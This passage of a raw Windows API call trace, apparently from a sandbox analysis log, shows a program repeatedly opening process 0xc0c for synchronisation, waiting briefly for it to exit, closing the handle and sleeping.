dwMilliseconds=0xa) returned 0x102 [0291.241] CloseHandle (hObject=0x258c) returned 1 [0291.241] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.241] Sleep (dwMilliseconds=0x1) [0291.256] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x25ac [0291.256] WaitForSingleObject (hHandle=0x25ac, dwMilliseconds=0xa) returned 0x102 [0291.273] CloseHandle (hObject=0x25ac) returned 1 [0291.273] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.273] Sleep (dwMilliseconds=0x1) [0291.280] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x25cc [0291.280] WaitForSingleObject (hHandle=0x25cc, dwMilliseconds=0xa) returned 0x102 [0291.299] CloseHandle (hObject=0x25cc) returned 1 [0291.299] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.299] Sleep (dwMilliseconds=0x1) [0291.311] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x25fc [0291.311] WaitForSingleObject (hHandle=0x25fc, dwMilliseconds=0xa) returned 0x102 [0291.330] CloseHandle (hObject=0x25fc) returned 1 [0291.330] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.330] Sleep (dwMilliseconds=0x1) [0291.344] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x261c [0291.344] WaitForSingleObject (hHandle=0x261c, dwMilliseconds=0xa) returned 0x102 [0291.364] CloseHandle (hObject=0x261c) returned 1 [0291.365] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.365] Sleep (dwMilliseconds=0x1) [0291.377] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2648 [0291.392] WaitForSingleObject (hHandle=0x2648, dwMilliseconds=0xa) returned 0x102 [0291.407] CloseHandle (hObject=0x2648) returned 1 [0291.407] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.407] Sleep (dwMilliseconds=0x1) [0291.429] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x266c [0291.429] WaitForSingleObject (hHandle=0x266c, dwMilliseconds=0xa) returned 0x102 [0291.436] CloseHandle (hObject=0x266c) returned 1 [0291.436] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.436] Sleep (dwMilliseconds=0x1) [0291.454] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x268c [0291.454] WaitForSingleObject (hHandle=0x268c, dwMilliseconds=0xa) returned 0x102 [0291.474] CloseHandle (hObject=0x268c) returned 1 [0291.474] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.474] Sleep (dwMilliseconds=0x1) [0291.484] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x26c8 [0291.484] WaitForSingleObject (hHandle=0x26c8, dwMilliseconds=0xa) returned 0x102 [0291.497] CloseHandle (hObject=0x26c8) returned 1 [0291.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.497] Sleep (dwMilliseconds=0x1) [0291.517] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x26dc [0291.517] WaitForSingleObject (hHandle=0x26dc, dwMilliseconds=0xa) returned 0x102 [0291.529] CloseHandle (hObject=0x26dc) returned 1 [0291.529] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.529] Sleep (dwMilliseconds=0x1) [0291.544] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x26dc [0291.544] WaitForSingleObject (hHandle=0x26dc, dwMilliseconds=0xa) returned 0x102 [0291.560] CloseHandle (hObject=0x26dc) returned 1 [0291.560] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.560] Sleep (dwMilliseconds=0x1) [0291.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x26dc [0291.575] WaitForSingleObject (hHandle=0x26dc, dwMilliseconds=0xa) returned 0x102 [0291.591] CloseHandle (hObject=0x26dc) returned 1 [0291.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.591] Sleep (dwMilliseconds=0x1) [0291.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x26dc [0291.607] WaitForSingleObject (hHandle=0x26dc, dwMilliseconds=0xa) returned 0x102 [0291.622] CloseHandle (hObject=0x26dc) returned 1 [0291.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.622] Sleep (dwMilliseconds=0x1) [0291.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x26dc [0291.638] WaitForSingleObject (hHandle=0x26dc, dwMilliseconds=0xa) returned 0x102 [0291.667] CloseHandle (hObject=0x26dc) returned 1 [0291.667] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.667] Sleep (dwMilliseconds=0x1) [0291.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x26dc [0291.669] WaitForSingleObject (hHandle=0x26dc, dwMilliseconds=0xa) returned 0x102 [0291.685] CloseHandle (hObject=0x26dc) returned 1 [0291.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.685] Sleep (dwMilliseconds=0x1) [0291.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x26dc [0291.700] WaitForSingleObject (hHandle=0x26dc, dwMilliseconds=0xa) returned 0x102 [0291.716] CloseHandle (hObject=0x26dc) returned 1 [0291.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.716] Sleep (dwMilliseconds=0x1) [0291.744] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2714 [0291.745] WaitForSingleObject (hHandle=0x2714, dwMilliseconds=0xa) returned 0x102 [0291.772] CloseHandle (hObject=0x2714) returned 1 [0291.773] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.773] Sleep (dwMilliseconds=0x1) [0291.783] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2714 [0291.783] WaitForSingleObject (hHandle=0x2714, dwMilliseconds=0xa) returned 0x102 [0291.798] CloseHandle (hObject=0x2714) returned 1 [0291.798] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.798] Sleep (dwMilliseconds=0x1) [0291.810] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2714 [0291.810] WaitForSingleObject (hHandle=0x2714, dwMilliseconds=0xa) returned 0x102 [0291.825] CloseHandle (hObject=0x2714) returned 1 [0291.825] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.825] Sleep (dwMilliseconds=0x1) [0291.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2714 [0291.841] WaitForSingleObject (hHandle=0x2714, dwMilliseconds=0xa) returned 0x102 [0291.858] CloseHandle (hObject=0x2714) returned 1 [0291.858] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.858] Sleep (dwMilliseconds=0x1) [0291.884] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2738 [0291.884] WaitForSingleObject (hHandle=0x2738, dwMilliseconds=0xa) returned 0x102 [0291.888] CloseHandle (hObject=0x2738) returned 1 [0291.888] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.888] Sleep (dwMilliseconds=0x1) [0291.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2738 [0291.904] WaitForSingleObject (hHandle=0x2738, dwMilliseconds=0xa) returned 0x102 [0291.929] CloseHandle (hObject=0x2738) returned 1 [0291.929] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.929] Sleep (dwMilliseconds=0x1) [0291.939] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2764 [0291.939] WaitForSingleObject (hHandle=0x2764, dwMilliseconds=0xa) returned 0x102 [0291.950] CloseHandle (hObject=0x2764) returned 1 [0291.950] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.950] Sleep (dwMilliseconds=0x1) [0291.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2764 [0291.966] WaitForSingleObject (hHandle=0x2764, dwMilliseconds=0xa) returned 0x102 [0291.982] CloseHandle (hObject=0x2764) returned 1 [0291.982] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.982] Sleep (dwMilliseconds=0x1) [0292.004] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2770 [0292.005] WaitForSingleObject (hHandle=0x2770, dwMilliseconds=0xa) returned 0x102 [0292.013] CloseHandle (hObject=0x2770) returned 1 [0292.013] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.013] Sleep (dwMilliseconds=0x1) [0292.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2770 [0292.028] WaitForSingleObject (hHandle=0x2770, dwMilliseconds=0xa) returned 0x102 [0292.044] CloseHandle (hObject=0x2770) returned 1 [0292.044] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.044] Sleep (dwMilliseconds=0x1) [0292.060] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2770 [0292.060] WaitForSingleObject (hHandle=0x2770, dwMilliseconds=0xa) returned 0x102 [0292.075] CloseHandle (hObject=0x2770) returned 1 [0292.076] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.076] Sleep (dwMilliseconds=0x1) [0292.091] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2770 [0292.091] WaitForSingleObject (hHandle=0x2770, dwMilliseconds=0xa) returned 0x102 [0292.107] CloseHandle (hObject=0x2770) returned 1 [0292.107] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.107] Sleep (dwMilliseconds=0x1) [0292.123] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2770 [0292.123] WaitForSingleObject (hHandle=0x2770, dwMilliseconds=0xa) returned 0x102 [0292.139] CloseHandle (hObject=0x2770) returned 1 [0292.139] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.139] Sleep (dwMilliseconds=0x1) [0292.154] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2784 [0292.154] WaitForSingleObject (hHandle=0x2784, dwMilliseconds=0xa) returned 0x102 [0292.170] CloseHandle (hObject=0x2784) returned 1 [0292.170] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.170] Sleep (dwMilliseconds=0x1) [0292.186] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2784 [0292.186] WaitForSingleObject (hHandle=0x2784, dwMilliseconds=0xa) returned 0x102 [0292.201] CloseHandle (hObject=0x2784) returned 1 [0292.201] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.201] Sleep (dwMilliseconds=0x1) [0292.216] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2784 [0292.216] WaitForSingleObject (hHandle=0x2784, dwMilliseconds=0xa) returned 0x102 [0292.232] CloseHandle (hObject=0x2784) returned 1 [0292.232] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.232] Sleep (dwMilliseconds=0x1) [0292.247] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2798 [0292.247] WaitForSingleObject (hHandle=0x2798, dwMilliseconds=0xa) returned 0x102 [0292.263] CloseHandle (hObject=0x2798) returned 1 [0292.263] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.263] Sleep (dwMilliseconds=0x1) [0292.279] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2798 [0292.279] WaitForSingleObject (hHandle=0x2798, dwMilliseconds=0xa) returned 0x102 [0292.295] CloseHandle (hObject=0x2798) returned 1 [0292.295] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.295] Sleep (dwMilliseconds=0x1) [0292.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2798 [0292.310] WaitForSingleObject (hHandle=0x2798, dwMilliseconds=0xa) returned 0x102 [0292.327] CloseHandle (hObject=0x2798) returned 1 [0292.327] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.327] Sleep (dwMilliseconds=0x1) [0292.342] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2798 [0292.342] WaitForSingleObject (hHandle=0x2798, dwMilliseconds=0xa) returned 0x102 [0292.358] CloseHandle (hObject=0x2798) returned 1 [0292.358] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.358] Sleep (dwMilliseconds=0x1) [0292.372] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c0 [0292.372] WaitForSingleObject (hHandle=0x27c0, dwMilliseconds=0xa) returned 0x102 [0292.388] CloseHandle (hObject=0x27c0) returned 1 [0292.388] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.388] Sleep (dwMilliseconds=0x1) [0292.404] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c0 [0292.404] WaitForSingleObject (hHandle=0x27c0, dwMilliseconds=0xa) returned 0x102 [0292.419] CloseHandle (hObject=0x27c0) returned 1 [0292.419] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.424] Sleep (dwMilliseconds=0x1) [0292.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27cc [0292.435] WaitForSingleObject (hHandle=0x27cc, dwMilliseconds=0xa) returned 0x102 [0292.450] CloseHandle (hObject=0x27cc) returned 1 [0292.451] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.451] Sleep (dwMilliseconds=0x1) [0292.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27cc [0292.466] WaitForSingleObject (hHandle=0x27cc, dwMilliseconds=0xa) returned 0x102 [0292.487] CloseHandle (hObject=0x27cc) returned 1 [0292.487] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.487] Sleep (dwMilliseconds=0x1) [0292.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27dc [0292.497] WaitForSingleObject (hHandle=0x27dc, dwMilliseconds=0xa) returned 0x102 [0292.513] CloseHandle (hObject=0x27dc) returned 1 [0292.513] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.513] Sleep (dwMilliseconds=0x1) [0292.532] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27e0 [0292.532] WaitForSingleObject (hHandle=0x27e0, dwMilliseconds=0xa) returned 0x102 [0292.544] CloseHandle (hObject=0x27e0) returned 1 [0292.544] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.544] Sleep (dwMilliseconds=0x1) [0292.560] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27e0 [0292.560] WaitForSingleObject (hHandle=0x27e0, dwMilliseconds=0xa) returned 0x102 [0292.578] CloseHandle (hObject=0x27e0) returned 1 [0292.578] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.578] Sleep (dwMilliseconds=0x1) [0292.597] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27f0 [0292.597] WaitForSingleObject (hHandle=0x27f0, dwMilliseconds=0xa) returned 0x102 [0292.607] CloseHandle (hObject=0x27f0) returned 1 [0292.607] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.607] Sleep (dwMilliseconds=0x1) [0292.622] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27f0 [0292.622] WaitForSingleObject (hHandle=0x27f0, dwMilliseconds=0xa) returned 0x102 [0292.640] CloseHandle (hObject=0x27f0) returned 1 [0292.640] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.640] Sleep (dwMilliseconds=0x1) [0292.656] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27fc [0292.656] WaitForSingleObject (hHandle=0x27fc, dwMilliseconds=0xa) returned 0x102 [0292.669] CloseHandle (hObject=0x27fc) returned 1 [0292.669] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.669] Sleep (dwMilliseconds=0x1) [0292.685] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2834 [0292.685] WaitForSingleObject (hHandle=0x2834, dwMilliseconds=0xa) returned 0x102 [0292.700] CloseHandle (hObject=0x2834) returned 1 [0292.700] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.700] Sleep (dwMilliseconds=0x1) [0292.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2844 [0292.716] WaitForSingleObject (hHandle=0x2844, dwMilliseconds=0xa) returned 0x102 [0292.732] CloseHandle (hObject=0x2844) returned 1 [0292.732] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.732] Sleep (dwMilliseconds=0x1) [0292.747] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2844 [0292.747] WaitForSingleObject (hHandle=0x2844, dwMilliseconds=0xa) returned 0x102 [0292.778] CloseHandle (hObject=0x2844) returned 1 [0292.778] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.778] Sleep (dwMilliseconds=0x1) [0292.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x284c [0292.794] WaitForSingleObject (hHandle=0x284c, dwMilliseconds=0xa) returned 0x102 [0292.810] CloseHandle (hObject=0x284c) returned 1 [0292.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.810] Sleep (dwMilliseconds=0x1) [0292.825] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2850 [0292.825] WaitForSingleObject (hHandle=0x2850, dwMilliseconds=0xa) returned 0x102 [0292.841] CloseHandle (hObject=0x2850) returned 1 [0292.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.841] Sleep (dwMilliseconds=0x1) [0292.861] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2860 [0292.861] WaitForSingleObject (hHandle=0x2860, dwMilliseconds=0xa) returned 0x102 [0292.872] CloseHandle (hObject=0x2860) returned 1 [0292.872] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.872] Sleep (dwMilliseconds=0x1) [0292.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2860 [0292.888] WaitForSingleObject (hHandle=0x2860, dwMilliseconds=0xa) returned 0x102 [0292.904] CloseHandle (hObject=0x2860) returned 1 [0292.904] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.904] Sleep (dwMilliseconds=0x1) [0292.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2874 [0292.919] WaitForSingleObject (hHandle=0x2874, dwMilliseconds=0xa) returned 0x102 [0292.935] CloseHandle (hObject=0x2874) returned 1 [0292.936] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.936] Sleep (dwMilliseconds=0x1) [0292.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2874 [0292.950] WaitForSingleObject (hHandle=0x2874, dwMilliseconds=0xa) returned 0x102 [0292.968] CloseHandle (hObject=0x2874) returned 1 [0292.968] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0292.968] Sleep (dwMilliseconds=0x1) [0292.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x288c [0292.982] WaitForSingleObject (hHandle=0x288c, dwMilliseconds=0xa) returned 0x102 [0293.003] CloseHandle (hObject=0x288c) returned 1 [0293.003] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.003] Sleep (dwMilliseconds=0x1) [0293.015] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x28b4 [0293.015] WaitForSingleObject (hHandle=0x28b4, dwMilliseconds=0xa) returned 0x102 [0293.029] CloseHandle (hObject=0x28b4) returned 1 [0293.029] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.029] Sleep (dwMilliseconds=0x1) [0293.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2900 [0293.044] WaitForSingleObject (hHandle=0x2900, dwMilliseconds=0xa) returned 0x102 [0293.062] CloseHandle (hObject=0x2900) returned 1 [0293.062] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0293.062] Sleep (dwMilliseconds=0x1) [0293.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2944 [0293.076] WaitForSingleObject (hHandle=0x2944, dwMilliseconds=0xa) returned 0x102 [0293.098] CloseHandle (hObject=0x2944) returned 1 [0293.098] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, 